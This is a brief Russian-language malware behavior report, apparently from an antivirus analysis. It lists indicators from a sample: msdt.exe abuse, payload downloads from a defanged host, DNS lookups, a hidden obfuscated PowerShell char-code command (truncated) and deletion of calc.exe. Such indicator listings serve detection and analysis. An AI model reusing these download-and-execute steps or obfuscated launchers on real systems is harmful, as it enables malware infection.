Техническая информация
- %WINDIR%\syswow64\msdt.exe
- http://ni##dis.com/1/Stub.mp3
- http://ni##dis.com/1/sload.mp3
- DNS ASK google.com
- DNS ASK ni##dis.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $7EA7F7F53C002CE7E98962E9A60397D9447CCDDB02F602DDCF6048CF8CE9=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc query wcncsvc >>
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $7EA7F7F53C002CE7E98962E9A60397D9447CCDDB02F602DDCF6048CF8CE9=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...
- '%WINDIR%\syswow64\calc.exe'
- '%WINDIR%\syswow64\msdt.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"